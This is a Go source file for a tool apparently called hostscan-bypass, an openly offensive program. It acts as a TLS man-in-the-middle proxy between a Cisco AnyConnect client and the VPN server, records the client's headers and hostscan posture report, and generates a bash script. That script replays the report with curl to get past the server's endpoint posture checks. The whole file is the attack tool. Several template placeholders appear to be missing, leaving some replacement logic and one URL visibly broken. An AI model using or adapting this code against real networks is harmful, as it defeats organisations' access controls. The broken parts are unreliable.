package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/hex" "encoding/json" "flag" "fmt" "io" "io/ioutil" "math/big" "net" "os" "time" "log" "strings" ) type TLS struct { Country []string "GB" Org []string "hostscan" CommonName string "*.domain.com" } type Config struct { Remotehost string Localhost string Localport int TLS *TLS CertFile string "" OutputFile string ClientCertFile string ClientKeyFile string } type Hostscan struct { UserAgent string Plat string Endpoint string } var CSD_Script = `#!/bin/bash # Generated by hostscan-bypass.go # # Github repo: https://github.com/Gilks/hostscan-bypass # Blog post: https://gilks.github.io/post/cisco-hostscan-bypass # # You can find a list of hostscan requirements here: # https:///CACHE/sdesktop/data.xml function run_curl { curl \ --insecure \ --user-agent "$useragent" \ --header "X-Transcend-Version: 1" \ --header "X-Aggregate-Auth: 1" \ --header "X-AnyConnect-Platform: $plat" \ --cookie "sdesktop=$token" \ "$@" } set -e host=https://$CSD_HOSTNAME plat="" useragent="" token=$CSD_TOKEN run_curl --data-binary @- "$host/+CSCOE+/sdesktop/scan.xml?reusebrowser=1" <<-END END exit 0 ` var config Config var ids = 0 func genCert() ([]byte, *rsa.PrivateKey) { ca := &x509.Certificate{ SerialNumber: big.NewInt(1653), Subject: pkix.Name{ Country: config.TLS.Country, Organization: config.TLS.Org, CommonName: config.TLS.CommonName, }, NotBefore: time.Now(), NotAfter: time.Now().AddDate(10, 0, 0), SubjectKeyId: []byte{1, 2, 3, 4, 5}, BasicConstraintsValid: true, IsCA: true, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, } priv, _ := rsa.GenerateKey(rand.Reader, 1024) pub := &priv.PublicKey ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) if err != nil { fmt.Println("create ca failed", err) } return ca_b, priv } func handleServerMessage(connR, connC net.Conn, id int) { for { data := make([]byte, 2048) n, err := connR.Read(data) if n > 0 { connC.Write(data[:n]) //fmt.Printf("From Server [%d]:\n%s\n", id, hex.Dump(data[:n])) //fmt.Printf("From Server:\n%s\n",hex.EncodeToString(data[:n])) } if err != nil && err != io.EOF { fmt.Println(err) break } } } func handleConnection(conn net.Conn, isTLS bool, hostscan Hostscan) { var err error var connR net.Conn if isTLS == true { var conf tls.Config if config.ClientCertFile != "" { cert, err := tls.LoadX509KeyPair(config.ClientCertFile, config.ClientKeyFile) if err != nil { fmt.Println(err) return } conf = tls.Config{InsecureSkipVerify: true, Certificates: []tls.Certificate{cert}} } else { conf = tls.Config{InsecureSkipVerify: true} } connR, err = tls.Dial("tcp", config.Remotehost, &conf) } else { connR, err = net.Dial("tcp", config.Remotehost) } if err != nil { fmt.Println(err) return } fmt.Printf("[*][%d] Connected to server: %s\n", ids, connR.RemoteAddr()) id := ids ids++ go handleServerMessage(connR, conn, id) for { data := make([]byte, 2048) n, err := conn.Read(data) if n > 0 { fmt.Printf("From Client [%d]:\n%s\n", id, hex.Dump(data[:n])) //fmt.Printf("From Client:\n%s\n",hex.EncodeToString(data[:n])) var StrResp = hex.EncodeToString(data[:n]) decoded, err := hex.DecodeString(StrResp) if err != nil { log.Fatal(err) } //fmt.Printf("%s\n", decoded) var ClientReq = string(decoded) if strings.Contains(ClientReq, "endpoint") { hostscan.Endpoint += ClientReq } if strings.Contains(ClientReq, "User-Agent:") && strings.Contains(ClientReq, "X-AnyConnect-Platform:") { //fmt.Print(ClientReq) headers := strings.Split(ClientReq, "\r\n") for i := range headers { if strings.Contains(headers[i], "User-Agent:") { hostscan.UserAgent = strings.Split(headers[i],": ")[1] CSD_Script = strings.Replace(CSD_Script, "", hostscan.UserAgent, 1) } if strings.Contains(headers[i], "X-AnyConnect-Platform:") { hostscan.Plat = strings.Split(headers[i],": ")[1] CSD_Script = strings.Replace(CSD_Script, "", hostscan.Plat, 1) } } } connR.Write(data[:n]) _ = hex.Dump(data[:n]) } if err != nil && err == io.EOF { if hostscan.Endpoint != "" { CSD_Script = strings.Replace(CSD_Script, "", hostscan.Endpoint, 1) script, err := os.Create(config.OutputFile) if err != nil { panic(err) } fmt.Fprintf(script, CSD_Script) script.Close() fmt.Print("\n[+] Successfully created CSD to bypass hostscan!\n") fmt.Printf("[+] Output File: %s\n", config.OutputFile) os.Exit(0) } fmt.Println(err) break } } connR.Close() conn.Close() } func startListener(isTLS bool) { var err error var conn net.Listener var cert tls.Certificate var hostscan = Hostscan{} if isTLS == true { if config.CertFile != "" { cert, _ = tls.LoadX509KeyPair(fmt.Sprint(config.CertFile, ".pem"), fmt.Sprint(config.CertFile, ".key")) } else { ca_b, priv := genCert() cert = tls.Certificate{ Certificate: [][]byte{ca_b}, PrivateKey: priv, } } conf := tls.Config{ Certificates: []tls.Certificate{cert}, } conf.Rand = rand.Reader conn, err = tls.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport), &conf) } else { conn, err = net.Listen("tcp", fmt.Sprint(config.Localhost, ":", config.Localport)) } if err != nil { panic("failed to connect: " + err.Error()) } fmt.Println("[*] Listening for AnyConnect client connection..") for { cl, err := conn.Accept() if err != nil { fmt.Printf("server: accept: %s", err) break } fmt.Printf("[*] Accepted from: %s\n", cl.RemoteAddr()) go handleConnection(cl, isTLS, hostscan) } conn.Close() } func setConfig(configFile string, localPort int, localHost, remoteHost string, certFile string, outputFile string, clientCertFile string, clientKeyFile string) { if configFile != "" { data, err := ioutil.ReadFile(configFile) if err != nil { fmt.Println("[-] Not a valid config file: ", err) os.Exit(1) } err = json.Unmarshal(data, &config) if err != nil { fmt.Println("[-] Not a valid config file: ", err) os.Exit(1) } } else { config = Config{TLS: &TLS{}} } if certFile != "" { config.CertFile = certFile } if localPort != 0 { config.Localport = localPort } if localHost != "" { config.Localhost = localHost } if remoteHost != "" { config.Remotehost = remoteHost } if outputFile == "" { config.OutputFile = "hostscan-bypass.sh" } else if strings.HasSuffix(outputFile, ".sh") { config.OutputFile = outputFile } else { config.OutputFile = outputFile + ".sh" } if clientCertFile != "" { config.ClientCertFile = clientCertFile if clientKeyFile != "" { config.ClientKeyFile = clientKeyFile } else { config.ClientKeyFile = clientCertFile } } } func main() { localPort := flag.Int("p", 0, "Local Port to listen on") localHost := flag.String("l", "", "Local address to listen on") remoteHostPtr := flag.String("r", "", "Remote Server address host:port") configPtr := flag.String("c", "", "Use a config file (set TLS ect) - Commandline params overwrite config file") tlsPtr := flag.Bool("s", false, "Create a TLS Proxy") certFilePtr := flag.String("cert", "", "Use a specific certificate file") outputFile := flag.String("o", "", "Output name for CSD hostscan bypass") clientCertFilePtr := flag.String("client-cert", "", "Read client certificate from file.") clientKeyFilePtr := flag.String("client-key", "", "Read client key from file. If only client-cert is given, the key and cert will be read from the same file.") flag.Parse() setConfig(*configPtr, *localPort, *localHost, *remoteHostPtr, *certFilePtr, *outputFile, *clientCertFilePtr, *clientKeyFilePtr) if config.Remotehost == "" { fmt.Println("[-] Remote host required") flag.PrintDefaults() os.Exit(1) } startListener(*tlsPtr) }